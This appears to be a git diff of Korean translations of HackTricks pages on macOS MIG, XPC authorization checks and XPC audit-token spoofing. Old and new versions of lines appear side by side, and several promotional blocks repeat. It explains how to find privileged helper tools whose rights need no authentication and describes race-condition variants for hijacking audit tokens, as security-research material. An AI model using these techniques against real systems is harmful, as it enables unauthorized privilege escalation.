<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
실제로 **`0x100004000` 함수**로 이동하면 **`routine_descriptor`** 구조체 배열을 찾을 수 있습니다. 구조체의 첫 번째 요소는 **함수가 구현된 주소**이며, **구조체는 0x28 바이트**를 차지하므로 각 0x28 바이트(바이트 0부터 시작)에서 8 바이트를 얻을 수 있고, 그것이 **호출될 함수의 주소**가 됩니다:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이 데이터는 [**이 Hopper 스크립트를 사용하여**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) 추출할 수 있습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 AWS 해킹을 전문가로 학습**하세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **다음 Discord 그룹에 가입하세요** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) **또는** [**텔레그램 그룹**](https://t.me/peass) **또는** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **해킹 기법을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 PR을 제출하세요**.
|
||||
|
||||
</details>
|
||||
* **다음 중 하나에 가입하세요** 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass) 또는 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 기법을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 PR을 제출하세요.**
|
||||
|
|
|
@ -2,23 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**로 **AWS 해킹**을 배우세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
- **회사를 HackTricks에서 광고**하거나 **HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)에서 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## XPC 권한 부여
|
||||
|
||||
Apple은 **연결된 프로세스가 노출된 XPC 메서드를 호출할 **권한이 있는지를 인증하는 또 다른 방법을 제안합니다.
|
||||
Apple은 **연결된 프로세스가 노출된 XPC 메서드를 호출할 권한이 있는지 인증하는 또 다른 방법**을 제안합니다.
|
||||
|
||||
응용 프로그램이 **특권 사용자로서 작업을 실행해야 하는 경우**, 일반적으로 특권 사용자로서 응용 프로그램을 실행하는 대신 XPC 서비스로 HelperTool을 루트로 설치하여 응용 프로그램에서 해당 작업을 수행할 수 있습니다. 그러나 서비스를 호출하는 응용 프로그램은 충분한 권한을 가져야 합니다.
|
||||
응용 프로그램이 **특권 사용자로서 작업을 실행해야 하는 경우**, 특권 사용자로서 응용 프로그램을 실행하는 대신, 일반적으로 XPC 서비스로 HelperTool을 루트로 설치하여 응용 프로그램에서 해당 작업을 수행할 수 있도록 호출할 수 있습니다. 그러나 서비스를 호출하는 응용 프로그램은 충분한 권한을 가져야 합니다.
|
||||
|
||||
### ShouldAcceptNewConnection 항상 YES
|
||||
|
||||
|
@ -39,11 +39,17 @@ newConnection.exportedObject = self;
|
|||
return YES;
|
||||
}
|
||||
```
|
||||
더 많은 정보를 얻으려면이 확인을 올바르게 구성하는 방법에 대해 확인하십시오:
|
||||
|
||||
{% content-ref url="macos-xpc-connecting-process-check/" %}
|
||||
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 애플리케이션 권한
|
||||
|
||||
그러나 **HelperTool에서 메소드를 호출할 때 권한이 부여**됩니다.
|
||||
|
||||
`App/AppDelegate.m`의 **`applicationDidFinishLaunching`** 함수는 앱이 시작된 후에 빈 권한 참조를 만듭니다. 이것은 항상 작동해야 합니다.\
|
||||
`App/AppDelegate.m`의 **`applicationDidFinishLaunching`** 함수는 앱이 시작된 후에 빈 권한 참조를 만듭니다. 이것은 항상 작동해야합니다.\
|
||||
그런 다음 `setupAuthorizationRights`를 호출하여 해당 권한 참조에 **일부 권한을 추가**하려고 시도합니다:
|
||||
```objectivec
|
||||
- (void)applicationDidFinishLaunching:(NSNotification *)note
|
||||
|
@ -100,7 +106,7 @@ assert(blockErr == errAuthorizationSuccess);
|
|||
}];
|
||||
}
|
||||
```
|
||||
함수 `enumerateRightsUsingBlock`은 애플리케이션 권한을 가져오는 데 사용되며, 이는 `commandInfo`에 정의되어 있습니다:
|
||||
`enumerateRightsUsingBlock` 함수는 애플리케이션 권한을 가져오는 데 사용되며, 이는 `commandInfo`에서 정의됩니다:
|
||||
```objectivec
|
||||
static NSString * kCommandKeyAuthRightName = @"authRightName";
|
||||
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
|
||||
|
@ -178,15 +184,15 @@ block(authRightName, authRightDefault, authRightDesc);
|
|||
}];
|
||||
}
|
||||
```
|
||||
이는 이 프로세스의 끝에 `commandInfo` 내에서 선언된 권한이 `/var/db/auth.db`에 저장된다는 것을 의미합니다. **각 메소드**에 대해 **인증이 필요한** 권한 이름과 `kCommandKeyAuthRightDefault`를 찾을 수 있다는 점에 유의하십시오. 후자는 **이 권한을 얻을 수 있는 사용자**를 나타냅니다.
|
||||
이는 프로세스의 끝에서 `commandInfo` 내에서 선언된 권한이 `/var/db/auth.db`에 저장된다는 것을 의미합니다. **인증이 필요한 각 메소드**에 대해 **권한 이름**과 **`kCommandKeyAuthRightDefault`**를 찾을 수 있다는 점에 유의하십시오. 후자는 **이 권한을 얻을 수 있는 사용자**를 나타냅니다.
|
||||
|
||||
권한에 액세스할 수 있는 사용자를 나타내는 다양한 범위가 있습니다. 일부는 [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h)에 정의되어 있습니다([여기에서 모두 찾을 수 있습니다](https://www.dssw.co.uk/reference/authorization-rights/)), 하지만 요약하면:
|
||||
|
||||
<table><thead><tr><th width="284.3333333333333">이름</th><th width="165">값</th><th>설명</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>누구나</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>아무도</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>현재 사용자가 관리자여야 함(관리자 그룹 내)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>사용자에게 인증 요청</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>사용자에게 인증 요청. 관리자여야 함(관리자 그룹 내)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>규칙 지정</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>권한에 대한 추가 설명 지정</td></tr></tbody></table>
|
||||
<table><thead><tr><th width="284.3333333333333">이름</th><th width="165">값</th><th>설명</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>누구나</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>아무도</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>현재 사용자가 관리자여야 함(관리자 그룹 내)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>사용자에게 인증 요청</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>사용자에게 인증 요청. 사용자는 관리자여야 함(관리자 그룹 내)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>규칙 지정</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>권한에 대한 추가 설명 지정</td></tr></tbody></table>
|
||||
|
||||
### 권한 확인
|
||||
|
||||
`HelperTool/HelperTool.m`에서 **`readLicenseKeyAuthorization`** 함수는 **해당 메소드를 실행할 권한이 있는지** 확인하기 위해 **`checkAuthorization`** 함수를 호출하는 호출자를 확인합니다. 이 함수는 호출 프로세스가 보낸 **authData**가 **올바른 형식**인지 확인한 다음 **특정 메소드를 호출할 권한**을 확인합니다. 모든 것이 순조롭게 진행되면 **반환된 `error`는 `nil`이 될 것입니다**:
|
||||
`HelperTool/HelperTool.m`에서 **`readLicenseKeyAuthorization`** 함수는 호출자가 **해당 메소드를 실행할 권한이 있는지** 확인하기 위해 **`checkAuthorization`** 함수를 호출합니다. 이 함수는 호출 프로세스가 보낸 **authData**가 **올바른 형식**인지 확인한 다음 **특정 메소드를 호출할 권한**을 얻기 위해 필요한 것을 확인합니다. 모든 것이 순조롭게 진행되면 **반환된 `error`는 `nil`이 될 것입니다**:
|
||||
```objectivec
|
||||
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
|
||||
{
|
||||
|
@ -234,7 +240,7 @@ assert(junk == errAuthorizationSuccess);
|
|||
return error;
|
||||
}
|
||||
```
|
||||
**주의:** 해당 메소드를 호출할 권한을 확인하려면 `authorizationRightForCommand` 함수가 이전에 주석 처리된 `commandInfo` 객체를 확인합니다. 그런 다음 함수를 호출하여 함수를 호출할 권한이 있는지 확인합니다. (플래그가 사용자와의 상호 작용을 허용하는지 확인).
|
||||
**주어진 메소드를 호출할 수 있는 권한을 확인하려면** `authorizationRightForCommand` 함수는 이전에 주석 처리된 `commandInfo` 객체를 확인합니다. 그런 다음 함수를 호출하여 함수를 호출할 권한이 있는지 확인합니다. (`AuthorizationCopyRights` 함수를 호출하여 사용자와 상호 작용할 수 있는 권한이 있는지 확인합니다).
|
||||
|
||||
이 경우 `readLicenseKeyAuthorization` 함수를 호출하려면 `kCommandKeyAuthRightDefault`가 `@kAuthorizationRuleClassAllow`로 정의되어 있습니다. 따라서 **누구나 호출할 수 있습니다**.
|
||||
|
||||
|
@ -252,19 +258,19 @@ security authorizationdb read com.apple.safaridriver.allow
|
|||
```
|
||||
### 허용 권한
|
||||
|
||||
**모든 권한 구성을** [**여기**](https://www.dssw.co.uk/reference/authorization-rights/)에서 찾을 수 있지만 사용자 상호 작용이 필요하지 않은 조합은 다음과 같습니다:
|
||||
**여기**에서 모든 권한 구성을 찾을 수 있지만 사용자 상호 작용이 필요하지 않은 조합은 다음과 같습니다:
|
||||
|
||||
1. **'authenticate-user': 'false'**
|
||||
* 이것은 가장 직접적인 키입니다. `false`로 설정되면 사용자가 이 권한을 얻기 위해 인증을 제공할 필요가 없음을 지정합니다.
|
||||
* 이는 **아래 2개 중 하나와 조합**되거나 사용자가 속해야 하는 그룹을 나타내는 데 사용됩니다.
|
||||
* 이것은 가장 직접적인 키입니다. `false`로 설정되면 사용자가이 권한을 얻기 위해 인증을 제공할 필요가 없음을 지정합니다.
|
||||
* 이는 사용자가 속해야하는 그룹을 나타내거나 아래 2개 중 하나와 조합하여 사용됩니다.
|
||||
2. **'allow-root': 'true'**
|
||||
* 사용자가 루트 사용자로 작동하고(승격된 권한을 가지고 있는)이 키가 `true`로 설정된 경우, 루트 사용자는 추가 인증 없이 이 권한을 얻을 수 있습니다. 그러나 일반적으로 루트 사용자 상태에 도달하는 데는 이미 인증이 필요하므로 대부분의 사용자에게는 "인증 없음" 시나리오가 아닙니다.
|
||||
* 사용자가 루트 사용자로 작동하고이 키가 `true`로 설정된 경우 루트 사용자는 추가 인증없이이 권한을 얻을 수 있습니다. 그러나 일반적으로 루트 사용자 상태에 도달하는 것은 이미 인증이 필요하므로 대부분의 사용자에게는 "인증 없음"시나리오가 아닙니다.
|
||||
3. **'session-owner': 'true'**
|
||||
* `true`로 설정되면 세션 소유자(현재 로그인한 사용자)가 자동으로 이 권한을 얻게 됩니다. 사용자가 이미 로그인되어 있는 경우 추가 인증을 우회할 수 있습니다.
|
||||
* `true`로 설정되면 세션 소유자 (현재 로그인한 사용자)가이 권한을 자동으로 받게됩니다. 사용자가 이미 로그인되어 있는 경우 추가 인증을 우회 할 수 있습니다.
|
||||
4. **'shared': 'true'**
|
||||
* 이 키는 인증 없이 권한을 부여하지 않습니다. 대신 `true`로 설정되면 권한이 인증된 후 여러 프로세스 사이에서 공유될 수 있음을 의미합니다. 그러나 권한의 초기 부여는 여전히 인증이 필요하며, `'authenticate-user': 'false'`와 같은 다른 키와 조합되지 않는 한 각각의 프로세스가 다시 인증할 필요가 없습니다.
|
||||
* 이 키는 인증없이 권한을 부여하지 않습니다. 대신 `true`로 설정되면 권한이 인증 된 후 여러 프로세스 사이에서 공유 될 수 있음을 의미합니다. 그러나 권한의 초기 부여는 여전히 인증이 필요하며 `'authenticate-user': 'false'`와 같은 다른 키와 결합되지 않는 한 각각이 다시 인증을 필요로하지 않습니다.
|
||||
|
||||
흥미로운 권한을 얻기 위해 [**이 스크립트를 사용**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)할 수 있습니다:
|
||||
흥미로운 권한을 얻으려면 [**이 스크립트를 사용**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)할 수 있습니다:
|
||||
```bash
|
||||
Rights with 'authenticate-user': 'false':
|
||||
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
|
||||
|
@ -281,11 +287,11 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
|||
|
||||
만약 **`[HelperTool checkAuthorization:command:]`** 함수를 찾는다면, 해당 프로세스가 권한에 대해 이전에 언급한 스키마를 사용하고 있을 가능성이 높습니다:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이 함수가 `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`와 같은 함수를 호출한다면, [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154)를 사용하고 있습니다.
|
||||
|
||||
권한이 부여되지 않은 사용자 상호작용 없이 특정 특권 작업을 호출할 수 있는 권한을 얻을 수 있는지 확인하기 위해 **`/var/db/auth.db`**를 확인합니다.
|
||||
사용자 상호작용 없이 특정 권한을 호출할 수 있는지 확인하려면 **`/var/db/auth.db`**를 확인하십시오.
|
||||
|
||||
### 프로토콜 통신
|
||||
|
||||
|
@ -293,11 +299,11 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
|||
|
||||
**`shouldAcceptNewConnection`** 함수는 내보내는 프로토콜을 나타냅니다:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이 경우, EvenBetterAuthorizationSample과 동일하게 [**이 라인**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)을 확인합니다.
|
||||
이 경우, EvenBetterAuthorizationSample과 동일한 것을 가지고 있습니다, [**이 라인을 확인하십시오**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
|
||||
|
||||
사용 중인 프로토콜의 이름을 알면, 해당 프로토콜의 헤더 정의를 **덤프**할 수 있습니다:
|
||||
사용된 프로토콜의 이름을 알면, **해당 헤더 정의를 덤프**할 수 있습니다:
|
||||
```bash
|
||||
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
||||
|
||||
|
@ -311,11 +317,11 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
|||
@end
|
||||
[...]
|
||||
```
|
||||
마지막으로, 통신을 수립하기 위해 노출된 Mach 서비스의 **이름**을 알아야 합니다. 이를 찾는 여러 방법이 있습니다:
|
||||
마지막으로, 통신을 수립하기 위해 노출된 Mach 서비스의 **이름**을 알아야 합니다. 이를 찾는 여러 가지 방법이 있습니다:
|
||||
|
||||
* **`[HelperTool init]`**에서 사용된 Mach 서비스를 볼 수 있는 곳:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* launchd plist에서:
|
||||
```xml
|
||||
|
@ -425,10 +431,10 @@ NSLog(@"Finished!");
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고**하거나 **HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 여러분의 해킹 기술을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소로 **PR 제출**을 통해 **해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -26,7 +26,7 @@ Mach Messages가 무엇인지 모르는 경우 다음 페이지를 확인하세
|
|||
|
||||
일단 ([여기에서 정의](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
|
||||
Mach 메시지는 **단일 수신자, 다중 발신자 통신** 채널인 _mach port_를 통해 전송됩니다. **여러 프로세스가 mach port로 메시지를 보낼 수 있지만** 언제든지 **단일 프로세스만이** 그것을 읽을 수 있습니다. 파일 디스크립터와 소켓과 마찬가지로 mach port는 커널에 의해 할당되고 관리되며 프로세스는 정수만 보고 이를 사용하여 커널에게 사용하려는 mach port를 지정할 수 있습니다.
|
||||
Mach 메시지는 **맥 포트**를 통해 전송되며, 이는 맥 커널에 내장된 **단일 수신자, 다중 발신자 통신** 채널입니다. **여러 프로세스가 맥 포트로 메시지를 보낼 수 있지만** 언제든지 **단일 프로세스만 읽을 수 있습니다**. 파일 디스크립터와 소켓과 마찬가지로 맥 포트는 커널에 의해 할당되고 관리되며 프로세스는 정수만 보고 이를 사용하여 사용할 맥 포트를 커널에 지시할 수 있습니다.
|
||||
|
||||
## XPC 연결
|
||||
|
||||
|
@ -38,63 +38,63 @@ XPC 연결이 어떻게 설정되는지 모르는 경우 확인하세요:
|
|||
|
||||
## 취약점 요약
|
||||
|
||||
알아두어야 할 중요한 점은 **XPC의 추상화는 일대일 연결**이지만 **다중 발신자가 있는 기술** 위에 구축되어 있다는 것입니다:
|
||||
알아두어야 할 중요한 점은 **XPC의 추상화는 일대일 연결**이지만 **다중 발신자가 있는 기술 위에 구축**되어 있다는 것입니다:
|
||||
|
||||
* Mach port는 단일 수신자, **다중 발신자**입니다.
|
||||
* 맥 포트는 단일 수신자, **다중 발신자**입니다.
|
||||
* XPC 연결의 감사 토큰은 **가장 최근에 수신된 메시지에서 복사**됩니다.
|
||||
* XPC 연결의 **감사 토큰을 획득**하는 것은 많은 **보안 검사**에 중요합니다.
|
||||
* XPC 연결의 **감사 토큰을 획득**하는 것은 많은 **보안 검사에 중요**합니다.
|
||||
|
||||
이전 상황이 유망하게 들리지만 이로 인해 문제가 발생하지 않는 몇 가지 시나리오가 있습니다 ([여기에서](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
|
||||
* 감사 토큰은 연결을 수락할지 결정하기 위한 권한 확인에 자주 사용됩니다. 이는 서비스 포트로 메시지를 사용하여 발생하며 **아직 연결이 설정되지 않았습니다**. 이 포트에서의 추가 메시지는 추가 연결 요청으로 처리됩니다. 따라서 **연결을 수락하기 전의 모든 확인 사항은 취약하지 않습니다** (이는 `-listener:shouldAcceptNewConnection:` 내에서 감사 토큰이 안전하다는 것을 의미합니다). 따라서 **특정 작업을 확인하는 XPC 연결을 찾고 있습니다**.
|
||||
* XPC 이벤트 핸들러는 동기적으로 처리됩니다. 이는 한 메시지의 이벤트 핸들러가 다음 메시지를 호출하기 전에 완료되어야 함을 의미하며, 동시 디스패치 큐에서도 마찬가지입니다. 따라서 **XPC 이벤트 핸들러 내에서 감사 토큰은 다른 일반 (응답이 아닌!) 메시지에 의해 덮어쓰일 수 없습니다**.
|
||||
|
||||
이를 악용할 수 있는 두 가지 방법:
|
||||
이를 악용할 수 있는 두 가지 다른 방법:
|
||||
|
||||
1. Variant1:
|
||||
* **Exploit**은 서비스 **A** 및 서비스 **B**에 **연결**합니다.
|
||||
1. 변형1:
|
||||
* **악용**이 서비스 **A**와 서비스 **B**에 **연결**합니다.
|
||||
* 서비스 **B**는 사용자가 할 수 없는 서비스 **A**에서 **특권 기능**을 호출할 수 있습니다.
|
||||
* 서비스 **A**는 **이벤트 핸들러 내부가 아닌** **`dispatch_async`**에서 **`xpc_connection_get_audit_token`**을 호출합니다.
|
||||
* 따라서 **다른** 메시지가 **감사 토큰을 덮어쓸 수 있습니다**. 왜냐하면 이것은 이벤트 핸들러 외부에서 비동기적으로 디스패치되기 때문입니다.
|
||||
* 악용은 **서비스 A에게 서비스 A에 대한 SEND 권한을 전달**합니다.
|
||||
* 따라서 svc **B**는 실제로 서비스 **A**에게 **메시지를 보냅니다**.
|
||||
* 악용은 **특권 작업을 호출**하려고 시도합니다. RC svc **A**는 **이 작업의 권한을 확인**하며 **svc B가 감사 토큰을 덮어썼기 때문에** (악용이 특권 작업을 호출할 수 있도록 함) 악용이 특권 작업을 호출할 수 있습니다.
|
||||
2. Variant 2:
|
||||
* 악용은 **서비스 A에게 서비스 A로의 SEND 권한을 전달**합니다.
|
||||
* 따라서 svc **B**는 실제로 서비스 **A**로 **메시지를 보냅니다**.
|
||||
* **악용**은 **특권 작업을 호출**하려고 시도합니다. RC svc **A**는 **이 작업의 권한을 확인**하며 **svc B가 감사 토큰을 덮어썼기 때문에** (악용이 특권 작업을 호출할 수 있도록 함) 악용이 특권 작업을 호출할 수 있습니다.
|
||||
2. 변형 2:
|
||||
* 서비스 **B**는 사용자가 할 수 없는 서비스 **A**에서 **특권 기능**을 호출할 수 있습니다.
|
||||
* 악용은 **서비스 A**에 연결하고 **특정 replay 포트**에서 **응답을 기대하는 메시지를 보내는** 서비스에 연결합니다.
|
||||
* 악용은 **서비스 A**에 연결하고 **특정 replay 포트에서 응답을 기대하는 메시지를 보내는** 서비스 A와 **두 번째 연결**을 형성합니다.
|
||||
* 악용은 **서비스 B**에게 **그 replay 포트**를 전달하는 메시지를 보냅니다.
|
||||
* 서비스 **B가 응답**할 때, **악용**은 **서비스 A에 다른 메시지를 보내어 특권 기능에 도달**하려고 시도하며, 서비스 B의 응답이 완벽한 순간에 감사 토큰을 덮어쓸 것을 기대합니다 (경쟁 조건).
|
||||
* 서비스 **B가 응답**할 때, **악용**은 **서비스 A에 다른 메시지를 보내어 특권 기능에 도달**하려고 시도하며, 서비스 B의 응답이 감사 토큰을 완벽한 순간에 덮어쓸 것을 기대합니다 (경쟁 조건).
|
||||
|
||||
## Variant 1: 이벤트 핸들러 외부에서 xpc\_connection\_get\_audit\_token 호출 <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
## 변형 1: 이벤트 핸들러 외부에서 xpc\_connection\_get\_audit\_token 호출 <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
|
||||
